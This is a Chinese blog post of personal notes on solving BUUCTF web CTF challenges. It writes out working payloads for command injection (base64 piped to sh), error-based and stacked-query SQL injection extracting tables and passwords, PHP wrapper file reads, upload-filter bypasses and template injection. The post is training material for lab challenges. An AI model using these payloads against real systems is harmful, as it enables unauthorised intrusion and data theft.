web

buuctf刷题(1)

noob
2020-10-13 / 0 评论 / 179 阅读 / 正在检测是否收录...

9.28
[GXYCTF2019]Ping Ping Ping:

1.过滤空格:$IFS$1或者${IFS}$
2.使用base64编码绕过对flag的过滤,后面用base64编码后的加上|base64 -d|bash进行绕过,最终payload:echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

[极客大挑战 2019]Http:

1.扫!!!
2.burp用法

9.29
[极客大挑战 2019]Secret File:

1.ctrl+a全选
2.绕过strstr()对../   tp   input   data的过滤可以使用php伪协议的filter
    php伪协议:
        1.php://output 只写的数据流php://output允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
        2.php://filter 元封装器 重点来了,php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。resource=<要过滤的数据流>   //这个参数是必须的。它指定了你要筛选过滤的数据流。
        语法:read=<读链的筛选列表>       //该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
        write=<写链的筛选列表>      //该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
        <;两个链的筛选列表>        //任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
        convert.* 是PHP 5.0.0 添加的,作用顾名思义就是转换==
        php://input和data://常在CTF里用来绕过一些判断语句;
        php://filter可以做任意文件读写
        phar://可以留隐藏后门

[护网杯 2018]easy_tornado:

1.模板注入:输入{{1}}检验是否存在,{{2*2}}是否存在计算,tornado框架存在附属文件handler.settings,于是输入{{handler.settings}}查看附属文件

[极客大挑战 2019]Upload:

1.<script language>可以用来绕过<?
2.GIF89a图片文件头欺骗

[SUCTF 2019]CheckIn:

1. .user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。可谓很广,不像.htaccess有局限性,只能是apache.网址:https://www.cnblogs.com/wangtanzhi/p/11862682.html
2.回显exif_imagetype:not image!说明调用了php的exif_imagetype()函数,添加文件头就可以绕过
3.利用.user.ini执行目录下可执行的php文件的性质,通过设置图片码实现对flag的读取。这样就实现了隐藏后门的目的。网址:https://xz.aliyun.com/t/6091

[ACTF2020 新生赛]BackupFile:

1.备份文件:.swp .bak .back
2.弱比较:如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行,在比较时该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。

[ACTF2020 新生赛]Upload:

1.多个代替php的后缀:php3,php4,php5,pht,phtml

[BJDCTF2020]Easy MD5:

1.md5弱比较直接找0e开头的撞
2.md5强比较如果传入的参数是数组则直接利用a[]=111&&b[]=222比较即可,如果是字符串,则需要进行ma5强碰撞脚本进行。网址:https://evi0s.com/2019/02/09/md5-collisions/

[ZJCTF 2019]NiZhuanSiWei

1.data://伪协议,data://text/plain/flag{welcome_to_ctf},则使用file_get_contents($text)读取时,可以直接读取flag{welcome_to_ctf}
2.php伪协议
3.反序列化手敲

9.30
[CISCN2019 华北赛区 Day2 Web1]Hack World:

1.如果存在过滤union但不过滤select的情况,则可以考虑使用函数进行绕过
2.因为没有对括号进行过滤,因此可以将任何用计算得出的语句用括号包起来。
3.利用substr函数跑脚本,substr(string, start,<length>):从string的start位置开始提取字符串 
网址:https://my.oschina.net/u/4347889/blog/3346858
网址:https://www.cnblogs.com/kevinbruce656/p/11342580.html
关键词过滤指南:http://www.0xby.com/2721.html
waf绕过:https://security.tencent.com/index.php/blog/msg/66

[网鼎杯 2018]Fakebook:

1.空格用/**/过滤,表名:table_name,列名:column_name
网址:https://www.abelche.com/2019/07/29/Writeup/WP-%E7%BD%91%E9%BC%8E%E6%9D%AF-2018-Fakebook/
网址:https://my.oschina.net/u/4328825/blog/3225144

[极客大挑战 2019]HardSQL:

1.报错注入:利用updatexml或者extractvalue函数来进行报错注入,利用前者可使用
updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)
updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)
2.extractvalue可使用
username=44&password=1'^extractvalue(1,concat(0x7e,(select(database()))))%23
username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables))))%23
username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
引用:https://blog.csdn.net/SopRomeo/article/details/104041233/

[GXYCTF2019]BabySQli:

1.当联合查询不存在数据时,联合查询会自己构造一个新的数据,于是可以构造一个虚拟的数据,然后在password中与其密码的md5值相等就可以进行绕过
2.绕过格式:union select 0,'username','md5(password)'&password=password

[网鼎杯 2020 青龙组]AreUSerialz:

1.没明白,后续更新,引用:https://www.cnblogs.com/Cl0ud/p/12874458.html

10.9
[极客大挑战 2019]HardSQL:

1.查数据库:database()
2.查表:group_concat(table_name) from information_schema.tables where table_schema like database()
3.查字段:group_concat(column_name) from information_schema.columns where table_name like 表名
4.查字段数据:字段名 from 表
5.利用{left(),right()}进行拼接可以得到flag
6.用`^`来连接函数,形成异或。这边用的是extractvalue(),extractvalue()与updatexml()用法一致。

10.12
[网鼎杯 2020 青龙组]AreUSerialz:

1.ord()是该值对应的十进制数,即返回对应的 ASCII 数值,或者 Unicode 数值
2.多处进行强弱比较,此处进行对op进行强弱比较的时候,使用op=2即可使op===2不成立,进入op==2成立(此处的op类型不一样)
3.看到file_get_contents使用伪协议进行对文件的读取,此处使用php://filter函数读取,output输出。
4.因为是protected的问题,会在序列化之后出现%00*%00,这样无法绕过is_vaid函数,因此使用序列化的时候使用public即可绕过。
引用:https://www.cnblogs.com/Cl0ud/p/12874458.html

[BUUCTF 2018]Online Tool:

1.escapeshellarg()函数:把字符串转码为可以在 shell 命令里使用的参数。
2.escapeshellcmd()函数:对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。
3.以上两个函数由于转义规则不同,因此存在命令参数注入
4.写入上传文件操作:namp函数-oG,可以实现将命令和结果写入文件。因此直接使用该操作进行。
5.或者:直接在后面进行命令执行,也可以获得flag,在namp的文件上传中输入cat /flag,然后访问获取flag。

10.13
[GYCTF2020]Blacklist:

1.过滤select可以使用show命令查库和表,但是无法查字段,可以使用Handler进行读取
2.handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec close; #关闭句柄
引用:https://xz.aliyun.com/t/7169#toc-47
3.如果没有过滤set和prepare,可以使用拼接。set:为已存在的变量赋值。类似题payload:1'; 1';use supersqli;set @sql=concat('s',elect `flag` from `FlagHere`);PREPARE stmt1 FROM @sql;EXECUTE stmt1;#
2

评论 (0)

取消